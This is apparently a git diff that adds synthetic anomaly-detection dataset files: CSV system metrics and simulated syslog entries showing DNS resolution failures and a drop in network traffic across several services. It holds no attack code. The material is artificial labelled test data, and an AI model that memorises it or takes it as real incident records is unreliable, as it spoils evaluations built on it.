payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:04:50 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:04:55 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:00 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:05:05 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:05:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:15 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:05:20 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:05:25 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:30 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:05:35 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:05:40 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:45 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:05:50 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:05:55 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:00 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:06:05 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:06:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:15 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:06:20 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:06:25 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:30 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:06:35 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:06:40 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:45 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:06:50 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:06:55 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:00 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:07:05 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:07:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:15 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:07:20 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_9/anom_9_21.csv b/anom_dataset/scenario_9/anom_9_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..89b3b05592dc15d4c0afa1ac611ebc8b35f9584b --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T14:00:00Z,11.12,43.19,30.79,1.41,1.35 +2025-07-09T14:00:05Z,15.76,47.44,30.38,1.47,1.17 +2025-07-09T14:00:10Z,15.66,44.98,33.41,1.52,1.2 +2025-07-09T14:00:15Z,13.15,43.6,33.18,2.04,1.27 +2025-07-09T14:00:20Z,12.91,40.26,35.24,1.82,0.81 +2025-07-09T14:00:25Z,15.8,52.62,27.94,1.78,0.94 +2025-07-09T14:00:30Z,16.55,50.35,27.38,1.43,1.46 +2025-07-09T14:00:35Z,13.0,49.83,31.68,1.49,0.82 +2025-07-09T14:00:40Z,15.33,48.6,25.02,1.36,1.06 +2025-07-09T14:00:45Z,15.26,41.38,34.46,1.72,1.22 +2025-07-09T14:00:50Z,20.46,44.83,32.9,1.8,1.05 +2025-07-09T14:00:55Z,12.42,43.54,22.7,1.24,1.38 +2025-07-09T14:01:00Z,13.15,40.23,37.66,1.06,1.4 +2025-07-09T14:01:05Z,13.64,47.29,31.18,1.7,1.44 +2025-07-09T14:01:10Z,17.36,48.69,34.54,1.25,0.98 +2025-07-09T14:01:15Z,13.87,42.24,24.45,1.2,1.01 +2025-07-09T14:01:20Z,16.38,42.8,29.22,1.67,1.21 +2025-07-09T14:01:25Z,17.89,45.99,28.05,1.75,1.4 +2025-07-09T14:01:30Z,16.01,41.84,35.09,1.86,1.21 +2025-07-09T14:01:35Z,17.24,42.51,36.17,1.8,0.96 +2025-07-09T14:01:40Z,14.17,43.36,29.52,0.88,1.1 +2025-07-09T14:01:45Z,11.49,45.01,27.73,1.69,1.41 +2025-07-09T14:01:50Z,15.29,47.91,31.3,1.66,1.09 +2025-07-09T14:01:55Z,14.53,45.47,36.18,1.55,1.33 +2025-07-09T14:02:00Z,18.42,49.62,39.59,1.45,1.29 +2025-07-09T14:02:05Z,16.38,45.98,29.84,1.59,1.05 +2025-07-09T14:02:10Z,14.91,46.15,31.14,2.34,1.16 +2025-07-09T14:02:15Z,17.78,45.93,29.15,1.89,1.35 +2025-07-09T14:02:20Z,14.13,47.9,30.39,1.48,1.1 +2025-07-09T14:02:25Z,16.55,51.77,24.29,1.6,0.85 +2025-07-09T14:02:30Z,15.33,48.21,32.46,0.05,0.0 +2025-07-09T14:02:35Z,15.71,41.07,30.43,0.02,0.04 +2025-07-09T14:02:40Z,13.8,46.67,39.73,0.01,0.01 +2025-07-09T14:02:45Z,14.29,43.45,30.45,0.0,0.02 +2025-07-09T14:02:50Z,14.2,44.87,32.24,0.02,0.04 +2025-07-09T14:02:55Z,14.7,42.78,28.68,0.05,0.02 +2025-07-09T14:03:00Z,11.26,44.73,25.2,0.0,0.03 +2025-07-09T14:03:05Z,14.23,47.55,32.23,0.03,0.04 +2025-07-09T14:03:10Z,16.9,47.92,28.31,0.05,0.01 +2025-07-09T14:03:15Z,20.96,45.97,27.22,0.01,0.01 +2025-07-09T14:03:20Z,18.23,48.38,24.82,0.05,0.04 +2025-07-09T14:03:25Z,12.88,50.4,30.84,0.05,0.03 +2025-07-09T14:03:30Z,15.49,44.39,28.37,0.05,0.02 +2025-07-09T14:03:35Z,14.23,51.6,22.32,0.04,0.02 +2025-07-09T14:03:40Z,16.45,45.35,34.26,0.02,0.01 +2025-07-09T14:03:45Z,16.49,40.05,19.89,0.03,0.04 +2025-07-09T14:03:50Z,15.56,44.74,24.87,0.04,0.03 +2025-07-09T14:03:55Z,14.9,47.23,29.54,0.03,0.01 +2025-07-09T14:04:00Z,14.21,40.09,14.72,0.04,0.01 +2025-07-09T14:04:05Z,16.37,46.46,25.92,0.04,0.04 +2025-07-09T14:04:10Z,17.59,48.05,18.24,0.01,0.04 +2025-07-09T14:04:15Z,15.31,49.89,27.12,0.02,0.02 +2025-07-09T14:04:20Z,15.98,42.3,31.22,0.04,0.03 +2025-07-09T14:04:25Z,12.68,42.87,25.96,0.02,0.02 +2025-07-09T14:04:30Z,14.8,45.52,38.3,0.02,0.03 +2025-07-09T14:04:35Z,14.19,45.31,38.65,0.05,0.0 +2025-07-09T14:04:40Z,14.7,40.19,35.42,0.03,0.04 +2025-07-09T14:04:45Z,15.66,44.62,22.56,0.01,0.02 +2025-07-09T14:04:50Z,14.25,46.72,25.6,0.04,0.0 +2025-07-09T14:04:55Z,16.08,38.88,36.64,0.02,0.05 +2025-07-09T14:05:00Z,15.39,48.0,26.39,0.03,0.03 +2025-07-09T14:05:05Z,14.31,48.52,37.57,0.02,0.02 +2025-07-09T14:05:10Z,13.47,42.19,16.75,0.03,0.01 +2025-07-09T14:05:15Z,16.55,42.63,30.0,0.02,0.01 +2025-07-09T14:05:20Z,17.8,43.98,33.18,0.03,0.04 +2025-07-09T14:05:25Z,15.43,40.94,31.39,0.02,0.04 +2025-07-09T14:05:30Z,13.78,46.47,26.11,0.02,0.04 +2025-07-09T14:05:35Z,13.92,45.3,35.32,0.0,0.02 +2025-07-09T14:05:40Z,12.66,47.83,37.31,0.0,0.04 +2025-07-09T14:05:45Z,12.67,45.91,27.64,0.03,0.04 +2025-07-09T14:05:50Z,14.12,39.01,33.61,0.04,0.01 +2025-07-09T14:05:55Z,17.65,46.27,28.03,0.03,0.01 +2025-07-09T14:06:00Z,15.65,42.74,34.7,0.01,0.01 +2025-07-09T14:06:05Z,12.87,49.21,28.46,0.01,0.04 +2025-07-09T14:06:10Z,16.14,48.87,25.45,0.01,0.05 +2025-07-09T14:06:15Z,15.32,45.57,25.49,0.01,0.01 +2025-07-09T14:06:20Z,17.03,46.35,40.78,0.03,0.04 +2025-07-09T14:06:25Z,13.85,48.46,37.46,0.04,0.02 +2025-07-09T14:06:30Z,14.0,44.06,27.23,0.0,0.03 +2025-07-09T14:06:35Z,14.83,53.64,29.89,0.04,0.01 +2025-07-09T14:06:40Z,11.51,45.67,16.82,0.03,0.02 +2025-07-09T14:06:45Z,14.77,46.66,35.92,0.0,0.04 +2025-07-09T14:06:50Z,16.9,44.25,27.7,0.02,0.0 +2025-07-09T14:06:55Z,16.86,47.03,28.71,0.02,0.02 +2025-07-09T14:07:00Z,15.34,41.9,36.26,0.04,0.04 +2025-07-09T14:07:05Z,15.56,45.77,36.0,0.04,0.02 +2025-07-09T14:07:10Z,13.25,43.12,36.02,0.0,0.02 +2025-07-09T14:07:15Z,14.66,45.6,33.48,0.02,0.05 +2025-07-09T14:07:20Z,13.66,45.93,33.35,0.01,0.03 +2025-07-09T14:07:25Z,14.99,44.93,26.19,0.02,0.01 diff --git a/anom_dataset/scenario_9/anom_9_21.log b/anom_dataset/scenario_9/anom_9_21.log new file mode 100644 index 0000000000000000000000000000000000000000..a6e5b18dc297f92d11e395ee922da1579963b083 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_21.log @@ -0,0 +1,69 @@ +Jul 09 14:00:10 cron[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:00:25 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 09 14:00:40 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:20 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:35 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:01:40 systemd[1]: Starting daily clean up activities... +Jul 09 14:01:55 systemd[1]: Starting daily clean up activities... +Jul 09 14:02:05 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 09 14:02:20 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 09 14:02:30 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:02:35 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:02:40 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:02:45 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:02:50 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:02:55 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:03:00 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:03:05 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:03:10 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:03:15 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:03:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:03:25 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:03:30 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:03:35 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:03:40 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:03:45 cron[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:03:50 systemd[1]: Starting daily clean up activities... +Jul 09 14:03:55 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:04:00 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:04:05 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:04:10 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:04:15 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:04:20 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:04:25 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:04:30 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:04:35 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:04:40 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:04:45 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:04:50 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:04:55 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:05:00 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:05:05 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:05:10 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:05:15 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:05:20 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:05:25 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:05:30 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:05:35 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:05:40 systemd[1]: Starting daily clean up activities... +Jul 09 14:05:45 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:05:50 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:05:55 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:06:00 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 09 14:06:05 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:06:10 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:06:15 cron[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:06:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 09 14:06:25 api-gateway[4567]: ERROR Failed to connect to upstream service 'user-service': Name or service not known +Jul 09 14:06:30 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:06:35 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:06:40 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:06:45 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:06:50 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:06:55 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. +Jul 09 14:07:00 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 09 14:07:10 worker-process[5678]: ERROR DNS resolution failed for 'database.internal': Unknown host +Jul 09 14:07:15 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:07:20 api-gateway[4567]: ERROR Host not found for upstream 'analytics.internal.svc.cluster.local' +Jul 09 14:07:25 worker-process[5678]: CRITICAL Could not resolve 'message-queue.internal', check DNS configuration. diff --git a/anom_dataset/scenario_9/anom_9_22.csv b/anom_dataset/scenario_9/anom_9_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..068a1da108f2258182cb73b1f72341f9c26b0332 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T14:00:00Z,20.36,38.15,21.30,1.24,1.08 +2025-07-09T14:00:05Z,16.59,37.35,27.05,1.36,1.23 +2025-07-09T14:00:10Z,19.78,40.46,28.64,0.86,0.87 +2025-07-09T14:00:15Z,17.11,38.60,27.94,1.32,1.07 +2025-07-09T14:00:20Z,23.13,41.41,22.84,1.11,0.75 +2025-07-09T14:00:25Z,22.54,40.80,26.99,1.37,0.99 +2025-07-09T14:00:30Z,23.57,37.98,29.36,1.29,0.86 +2025-07-09T14:00:35Z,16.18,38.34,20.52,1.12,0.88 +2025-07-09T14:00:40Z,22.87,35.85,25.41,1.16,0.94 +2025-07-09T14:00:45Z,21.64,36.00,27.55,1.34,1.16 +2025-07-09T14:00:50Z,24.72,37.45,27.48,0.80,0.73 +2025-07-09T14:00:55Z,23.28,39.17,29.83,0.88,1.27 +2025-07-09T14:01:00Z,23.70,37.86,25.39,1.38,1.20 +2025-07-09T14:01:05Z,15.21,35.22,28.62,0.93,1.08 +2025-07-09T14:01:10Z,15.96,36.58,20.35,1.07,1.26 +2025-07-09T14:01:15Z,18.01,43.69,22.44,0.83,0.71 +2025-07-09T14:01:20Z,15.83,42.39,29.95,1.31,1.16 +2025-07-09T14:01:25Z,17.39,40.46,27.99,0.95,0.81 +2025-07-09T14:01:30Z,18.22,38.21,27.92,1.08,0.79 +2025-07-09T14:01:35Z,21.07,41.25,29.41,1.03,1.19 +2025-07-09T14:01:40Z,19.22,35.37,22.63,1.49,0.99 +2025-07-09T14:01:45Z,17.68,42.25,27.30,0.85,1.25 +2025-07-09T14:01:50Z,24.16,42.54,24.21,0.87,1.00 +2025-07-09T14:01:55Z,15.53,43.10,22.70,0.82,1.00 +2025-07-09T14:02:00Z,20.45,39.72,25.79,1.21,0.90 +2025-07-09T14:02:05Z,21.71,35.32,24.47,1.22,0.88 +2025-07-09T14:02:10Z,15.32,36.64,23.34,1.31,1.10 +2025-07-09T14:02:15Z,16.12,38.03,22.49,1.15,0.72 +2025-07-09T14:02:20Z,20.63,43.88,25.56,1.33,1.18 +2025-07-09T14:02:25Z,23.66,41.02,25.44,1.49,1.07 +2025-07-09T14:02:30Z,18.06,42.38,22.06,0.05,0.01 +2025-07-09T14:02:35Z,19.06,41.25,28.65,0.04,0.03 +2025-07-09T14:02:40Z,16.72,35.07,29.32,0.02,0.04 +2025-07-09T14:02:45Z,14.97,37.86,22.17,0.03,0.02 +2025-07-09T14:02:50Z,23.02,42.03,22.78,0.03,0.03 +2025-07-09T14:02:55Z,24.36,40.61,23.27,0.03,0.04 +2025-07-09T14:03:00Z,25.06,38.93,20.14,0.03,0.05 +2025-07-09T14:03:05Z,19.37,41.58,21.35,0.03,0.05 +2025-07-09T14:03:10Z,21.40,45.39,27.74,0.04,0.04 +2025-07-09T14:03:15Z,16.96,41.38,22.62,0.03,0.04 +2025-07-09T14:03:20Z,17.49,42.55,20.56,0.04,0.01 +2025-07-09T14:03:25Z,20.85,40.89,26.99,0.02,0.03 +2025-07-09T14:03:30Z,19.62,42.06,22.62,0.02,0.01 +2025-07-09T14:03:35Z,16.18,36.60,24.44,0.05,0.05 +2025-07-09T14:03:40Z,20.06,39.26,24.73,0.03,0.03 +2025-07-09T14:03:45Z,21.26,42.04,23.54,0.05,0.02 +2025-07-09T14:03:50Z,22.31,43.65,20.09,0.02,0.03 +2025-07-09T14:03:55Z,22.72,38.02,28.72,0.02,0.02 +2025-07-09T14:04:00Z,21.71,34.67,25.51,0.01,0.03 +2025-07-09T14:04:05Z,15.59,40.72,26.70,0.02,0.04 +2025-07-09T14:04:10Z,21.23,40.79,26.98,0.04,0.03 +2025-07-09T14:04:15Z,18.39,38.33,27.47,0.02,0.02 +2025-07-09T14:04:20Z,22.62,42.91,25.45,0.05,0.04 +2025-07-09T14:04:25Z,17.24,40.09,25.41,0.03,0.02 +2025-07-09T14:04:30Z,19.78,41.14,24.38,0.05,0.01 +2025-07-09T14:04:35Z,17.55,37.69,26.63,0.03,0.02 +2025-07-09T14:04:40Z,20.78,43.41,29.09,0.04,0.04 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+2025-07-09T14:06:25Z,18.87,44.00,24.66,1.25,1.08 +2025-07-09T14:06:30Z,17.97,35.62,21.14,1.35,0.85 +2025-07-09T14:06:35Z,17.33,37.52,29.20,1.43,1.19 +2025-07-09T14:06:40Z,21.18,38.53,25.36,1.14,1.14 +2025-07-09T14:06:45Z,18.27,38.68,27.55,1.32,1.22 +2025-07-09T14:06:50Z,19.09,36.20,25.75,1.42,1.25 +2025-07-09T14:06:55Z,20.61,35.25,27.28,1.01,1.09 +2025-07-09T14:07:00Z,23.07,35.61,25.92,1.15,1.26 +2025-07-09T14:07:05Z,19.54,37.25,20.64,1.03,1.30 +2025-07-09T14:07:10Z,15.76,40.15,29.67,0.94,1.28 +2025-07-09T14:07:15Z,24.28,44.04,27.91,1.07,1.11 +2025-07-09T14:07:20Z,23.31,40.40,28.51,1.33,0.86 +2025-07-09T14:07:25Z,18.16,43.96,24.31,1.05,1.30 diff --git a/anom_dataset/scenario_9/anom_9_22.log b/anom_dataset/scenario_9/anom_9_22.log new file mode 100644 index 0000000000000000000000000000000000000000..11d3ed5c3e3671e39de8a0311e1f32f3cab94a7a --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_22.log @@ -0,0 +1,52 @@ +Jul 09 14:00:00 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:00:00 CRON[8168]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:00:30 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:01:00 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:01:15 CRON[8168]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:01:30 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:02:00 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:02:30 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:02:30 kubelet[1024]: INFO Liveness probe succeeded for pod user-service +Jul 09 14:02:35 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:02:40 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:02:45 payment-gateway[2761]: ERROR failed to resolve hostname api.paymentprovider.com: Name or service not known +Jul 09 14:02:50 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:02:55 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:02:55 kubelet[1024]: INFO Liveness probe succeeded for pod user-service +Jul 09 14:03:00 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:03:05 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:03:10 payment-gateway[2761]: ERROR failed to resolve hostname api.paymentprovider.com: Name or service not known +Jul 09 14:03:15 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:03:20 analytics-tracker[2763]: ERROR Unknown host: analytics.google.com +Jul 09 14:03:20 kubelet[1024]: INFO Liveness probe succeeded for pod user-service +Jul 09 14:03:25 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:03:30 payment-gateway[2761]: ERROR failed to resolve hostname api.paymentprovider.com: Name or service not known +Jul 09 14:03:40 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:03:45 payment-gateway[2761]: ERROR failed to resolve hostname api.paymentprovider.com: Name or service not known +Jul 09 14:03:45 kubelet[1024]: INFO Liveness probe succeeded for pod user-service +Jul 09 14:03:50 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:03:55 analytics-tracker[2763]: ERROR Unknown host: analytics.google.com +Jul 09 14:04:05 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:04:10 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:04:10 kubelet[1024]: INFO Liveness probe succeeded for pod user-service +Jul 09 14:04:15 analytics-tracker[2763]: ERROR Unknown host: analytics.google.com +Jul 09 14:04:20 analytics-tracker[2763]: ERROR Unknown host: analytics.google.com +Jul 09 14:04:25 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:04:30 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:04:35 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:04:35 kubelet[1024]: INFO Liveness probe succeeded for pod user-service +Jul 09 14:04:40 user-service[2761]: WARNING Host not found for avatar storage service: cdn.userprofiles.com +Jul 09 14:04:45 analytics-tracker[2763]: ERROR Unknown host: analytics.google.com +Jul 09 14:04:50 payment-gateway[2761]: ERROR failed to resolve hostname api.paymentprovider.com: Name or service not known +Jul 09 14:04:55 notification-service[2762]: ERROR Connection failed to smtp.emailservice.com: [Errno -2] Name or service not known +Jul 09 14:05:00 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:05:00 CRON[8168]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:05:15 payment-gateway[2761]: INFO Connection established to api.paymentprovider.com +Jul 09 14:05:30 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:05:50 payment-gateway[2761]: INFO Connection established to api.paymentprovider.com +Jul 09 14:06:00 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:06:15 CRON[8168]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 14:06:25 payment-gateway[2761]: INFO Connection established to api.paymentprovider.com +Jul 09 14:06:30 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:07:00 web-app[2761]: GET /api/v1/health status=200 OK +Jul 09 14:07:00 payment-gateway[2761]: INFO Connection established to api.paymentprovider.com diff --git a/anom_dataset/scenario_9/anom_9_23.csv b/anom_dataset/scenario_9/anom_9_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..fe37910ce68eb1dfb658f482fa3c116ebc8f2613 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,17.06,41.92,29.04,0.99,0.93 +2025-07-09T10:00:05Z,15.21,42.2,27.09,1.32,0.58 +2025-07-09T10:00:10Z,10.17,38.83,39.02,1.57,1.5 +2025-07-09T10:00:15Z,16.59,45.49,32.1,1.13,1.03 +2025-07-09T10:00:20Z,13.12,49.27,23.37,0.89,1.9 +2025-07-09T10:00:25Z,14.81,45.47,27.66,1.5,0.95 +2025-07-09T10:00:30Z,14.48,48.6,30.89,1.37,1.12 +2025-07-09T10:00:35Z,14.24,36.87,27.99,1.44,1.46 +2025-07-09T10:00:40Z,10.69,48.34,26.36,0.83,1.64 +2025-07-09T10:00:45Z,14.52,44.07,35.9,0.98,1.05 +2025-07-09T10:00:50Z,19.9,48.38,23.17,0.83,1.3 +2025-07-09T10:00:55Z,12.62,46.21,26.31,0.94,1.03 +2025-07-09T10:01:00Z,18.64,47.05,31.82,0.73,1.03 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0000000000000000000000000000000000000000..843b9fdf32cddbd5c1fa3b5e5a0e177c10f020fb --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_23.log @@ -0,0 +1,53 @@ +Jul 09 10:00:07 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:00:21 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:00:37 systemd[1]: INFO Starting daily clean up activities... +Jul 09 10:00:51 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:01:00 systemd[1]: INFO Starting daily clean up activities... +Jul 09 10:01:12 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:01:28 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:01:47 database-connector[1899]: INFO Connection to db-main-1 established. +Jul 09 10:01:56 web-app[2231]: INFO GET /api/v1/metrics status=200 OK +Jul 09 10:02:15 web-app[2231]: INFO GET /api/v1/metrics status=200 OK +Jul 09 10:02:32 web-app[2231]: INFO GET /api/v1/user/15 status=200 OK +Jul 09 10:02:35 web-app[2231]: ERROR DNS resolution failed for updates.internal.service.local +Jul 09 10:02:39 data-processor[4555]: CRITICAL Uncaught exception: java.net.UnknownHostException: cdn.assets.com +Jul 09 10:02:44 payment-gateway[3102]: WARN Could not resolve hostname for 